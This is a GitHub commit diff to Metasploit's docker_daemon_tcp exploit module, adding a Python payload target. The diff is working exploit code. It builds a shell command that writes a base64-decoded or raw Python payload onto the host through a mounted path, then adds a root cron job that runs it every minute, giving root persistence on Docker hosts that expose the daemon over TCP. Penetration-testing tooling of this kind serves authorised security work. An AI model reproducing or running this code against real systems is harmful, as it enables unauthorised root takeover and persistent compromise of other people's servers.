Skip to content

Commit 971ec80

Browse files
committed
Keep the python target
1 parent 6d28a57 commit 971ec80

File tree

1 file changed

+26
-6
lines changed

1 file changed

+26
-6
lines changed

modules/exploits/linux/http/docker_daemon_tcp.rb

Lines changed: 26 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -32,10 +32,22 @@ def initialize(info = {})
3232
['URL', 'https://docs.docker.com/engine/reference/commandline/dockerd/#bind-docker-to-another-hostport-or-a-unix-socket']
3333
],
3434
'DisclosureDate' => 'Jul 25, 2017',
35-
'Platform' => 'Linux',
36-
'Arch' => [ARCH_X64],
37-
'Payload' => { 'Space' => 65000 },
38-
'Targets' => [[ 'Linux', {} ]],
35+
'Targets' => [
36+
[ 'Linux x64', {
37+
'Arch' => ARCH_X64,
38+
'Platform' => 'linux'
39+
}],
40+
[ 'Python', {
41+
'Arch' => ARCH_PYTHON,
42+
'Platform' => 'python',
43+
'Payload' => {
44+
'Compat' => {
45+
'ConnectionType' => 'reverse noconn none tunnel'
46+
}
47+
}
48+
}]
49+
],
50+
'Payload' => { 'Space' => 65000, 'DisableNops' => true },
3951
'DefaultOptions' => { 'WfsDelay' => 180 },
4052
'DefaultTarget' => 0))
4153

@@ -83,10 +95,18 @@ def make_cmd(mnt_path, cron_path, payload_path)
8395
echo_cron_path = mnt_path + cron_path
8496
echo_payload_path = mnt_path + payload_path
8597

86-
command = "echo #{Rex::Text.encode_base64(payload.encoded_exe)} | base64 -d > #{echo_payload_path} \&\& chmod +x #{echo_payload_path} \&\& "
98+
case target
99+
when targets[0] # linux
100+
command = "echo #{Rex::Text.encode_base64(payload.encoded_exe)} | base64 -d > #{echo_payload_path} \&\& chmod +x #{echo_payload_path} \&\& "
101+
cron_command = payload_path
102+
when targets[1] # python
103+
command = "echo \"#{payload.raw}\" >> #{echo_payload_path} \&\& "
104+
cron_command = "python #{payload_path}"
105+
end
106+
87107
command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} \&\& "
88108
command << "echo \"\" >> #{echo_cron_path} \&\& "
89-
command << "echo \"* * * * * root #{payload_path}\" >> #{echo_cron_path}"
109+
command << "echo \"* * * * * root #{cron_command}\" >> #{echo_cron_path}"
90110

91111
command
92112
end

0 commit comments

Comments
 (0)